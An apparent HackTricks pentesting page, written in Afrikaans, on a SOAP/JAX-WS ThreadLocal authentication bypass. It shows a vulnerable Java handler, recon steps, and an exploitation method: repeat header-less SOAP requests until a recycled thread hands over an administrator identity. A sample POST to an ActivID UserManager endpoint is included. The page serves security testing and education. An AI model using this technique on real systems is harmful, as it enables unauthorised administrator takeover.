SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Kort opsomming
- Sommige middleware-kettings stoor die geverifieerde
Subject/Principalbinne ’n statieseThreadLocalen verfris dit slegs wanneer ’n proprietêre SOAP header aankom. - Omdat WebLogic/JBoss/GlassFish werker-drade herwin, veroorsaak die weglating van daardie header dat die laaste bevoorregte
Subjectwat deur die draad verwerk is, stilweg hergebruik word. - Stuur baie versoeke na die kwesbare endpoint sonder header, maar met goed-gevormde SOAP bodies, totdat ’n hergebruikte draad jou die gesteelde administrateurkonteks verleen.
Oorsaak
Handlers soortgelyk aan die volgende oorskryf die thread-local identiteit slegs wanneer die pasgemaakte header teenwoordig is, sodat die vorige versoek se konteks oorleef:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Som die reverse proxy / routeringsreëls op om versteekte SOAP-bome te vind wat dalk
?wsdlblokkeer maar POSTs aanvaar (kaart hulle langs die vloei in 80,443 - Pentesting Web Methodology). - Pak die EAR/WAR/EJB-artifacts uit (
unzip *.ear) en ondersoekapplication.xml,web.xml,@WebService-annotasies, en handler chains (bv.LoginHandlerChain.xml) om die handler-klas, SOAP header QName, en die onderliggende EJB-name te ontdek. - As metadata ontbreek, brute-force waarskynlike
ServiceName?wsdl-paaie of verlig tydelik lab-proxies, en importeer enige herstelde WSDL in tooling soos Burp Suite Wsdler om baseline envelopes te genereer. - Hersien die handler-bronne vir
ThreadLocal-bewarings (bv.SubjectHolder.setSubject()) wat nooit skoongemaak word wanneer die authentiseringsheader ontbreek of foutief is nie.
Exploitation
- Stuur ’n geldige versoek met die eiesoortige header om die normale responskodes en enige fout wat by ongeldige tokens gebruik word te leer.
- Hersend dieselfde SOAP-lichaam terwyl jy die header weglaat. Hou die XML goedgevorm en respekteer die vereiste namespaces sodat die handler netjies kan uitstap.
- Lus die versoek; wanneer dit op ’n thread land wat voorheen ’n bevoorregte aksie uitgevoer het, ontgrendel die hergebruikte
Subjectbeskermde operasies soos user of credential managers.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Validering van die fout
- Sluit JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) of soortgelyke debugging hooks aan om dieThreadLocal-inhoud voor en na elke oproep te monitor, en bevestig dat ’n nie-geauthentiseerde aanvraag ’n vorige administrateurSubjectgeërf het.
Verwysings
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

